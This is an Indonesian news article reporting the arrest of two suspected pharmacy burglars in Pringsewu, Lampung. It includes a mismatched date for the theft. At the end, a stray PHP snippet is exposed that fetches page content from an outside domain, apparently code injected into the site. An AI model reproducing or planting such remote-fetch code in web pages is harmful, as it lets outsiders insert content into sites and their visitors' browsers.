Dua Spesialis Pembobol Apotek di Pringsewu Ditangkap, Polisi Beri Tindakan Tegas

Jumat, 6 September 2024

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy

PRINGSEWU- jejakkasus.info

Tim Tekab 308 Presisi Polsek Pringsewu Kota dengan di back up Tekab 308 Satreskrim Polres Pringsewu, berhasil menangkap dua orang tersangka spesialis pembobol apotek.

Kapolres Pringsewu AKBP M. Yunus Saputra Melalui Kapolsek Pringsewu Kota Kompol Rohmadi mengatakan, kedua tersangka yang ditangkap yakni Satiman (35) warga Desa Sendang Anom Kecamatan Sekampung Udik Kabupaten Lampung Timur dan Rusman (44) asal Desa Sinar Harapan Kecamatan Kedondong, Pesawaran.

“Penangkapan tersebut atas laporan adanya tindak pidana pencurian yang terjadi di Pekon Ambarawa, Kecamatan Ambarawa, Pringsewu pada hari Kamis, 29 September 2024) sekira pukul 01.26 WIB,” ujar Kompol Rohmadi, Kamis (5/9/2024).

Baca Juga:  Polri Raih Kepuasan 87,8%, Legislator PKS Puji Kepemimpinan Kapolri

Menurut Kapolsek, aksi pencurian di sebuah Apotek Sumber Waras milik korban Heti Susilo Asih (39) warga Kelurahan Pringsewu Selatan, dilakukan kedua tersangka dengan menggunakan mobil rentalan merek Daihatsu Xenia Nopol B 1461 SEA.

Caranya, kedua tersangka memarkirkan mobil di depan apotek dan turun mengambil linggis serta besi untuk merusak gembok rolling door, hingga akhirnya bisa terbuka dan masuk ke dalam.

Baca Juga:  Polres Pringsewu Kembali Ringkus Pengedar Narkotika Jenis Sabu

“Mereka mengambil uang sebesar Rp11,8 juta yang terletak di dalam laci meja kasir, kemudian pergi meninggalkan lokasi.,” imbuh Kompol Rohmadi.

Atas peristiwa tersebut, polisi yang mendapat laporan langsung melakukan penyelidikan dan mengamankan tersangka di Kecamatan kedondong, Kabupaten Pesawaran pada Rabu, 4 September 2024 sekir apukul 20.00 WIB.

“Karena melawan dan membahayakan petugas, salah satu tersangka terpaksa harus diberi tindakan tegas terukur.” bebernya

Baca Juga:  Kapolres Aceh Jaya Pimpin Serah Terima Jabatan Kabagops, Dua Kasat, Empat Kapolsek dan Satu Kasipropam

Hasil introgasi, kedau tersangka mengaku melakukan aksi yang sama di tiga kabupaten yang berbeda yakni tiga kali di wilayah hukum Polres Pringsewu Kota dengan hasil Rp 11,8 juta, dua kali di Lampung Utara dengan hasil Rp250 juta dan di Pesawaran mendapatkan Rp45 juta.

“Tersangka dijerat Pasal 363 KUH Pidana tentang Pencurian dengan Pemberatan dan ancaman hukuman 7 tahun penjara,” Tandasnya.

(Bambang)

Penulis : Bambang hartono

Editor : Bambang hartono

Sumber Berita : Humas Polres Pringsewu

Follow WhatsApp Channel jejakkasus.info untuk update berita terbaru setiap hari Follow

Berita Terkait

Binda Ayu Asalasiyah, S.Ked Dapatkan Penghargaan Satya Lencana Aditya Karya Mahat Va Yodha Utama dari Karang Taruna Way Kanan
Aries Sandi Janji Perbaiki Pendidikan dan Infrastruktur di Pesawaran
Aries Sandi-Supriyanto Genjot Pembentukan Tim Pemenangan di Pesawaran
Jelang Penetapan KPU, Balon Wabup Ayu Asalasiyah Kukuhkan Tim Amanah Emak-emak di 5 Kecamatan
Pesawaran Ganti Rezim: Seruan Perubahan Sambut Pilkada 2024
Buntut Aniaya Adik Tingkat, Empat Siswa SMA Kebangsaan di Kembalikan Hak Asuh ke Pihak Keluarga
Dukungan Terus Mengalir untuk Kemenangan Aries Sandi-Supriyanto
Hak Jawab Sulardi Atas Tuduhan Pemalsuan Surat Tanah Tak Berdasar,

Berita Terkait

Jumat, 20 September 2024 - 10:17 WIB

Binda Ayu Asalasiyah, S.Ked Dapatkan Penghargaan Satya Lencana Aditya Karya Mahat Va Yodha Utama dari Karang Taruna Way Kanan

Kamis, 19 September 2024 - 20:52 WIB

Aries Sandi Janji Perbaiki Pendidikan dan Infrastruktur di Pesawaran

Kamis, 19 September 2024 - 20:50 WIB

Aries Sandi-Supriyanto Genjot Pembentukan Tim Pemenangan di Pesawaran

Kamis, 19 September 2024 - 20:20 WIB

Jelang Penetapan KPU, Balon Wabup Ayu Asalasiyah Kukuhkan Tim Amanah Emak-emak di 5 Kecamatan

Kamis, 19 September 2024 - 15:26 WIB

Pesawaran Ganti Rezim: Seruan Perubahan Sambut Pilkada 2024

Berita Terbaru

$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://umrohkemenag.org/footer/'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch);?>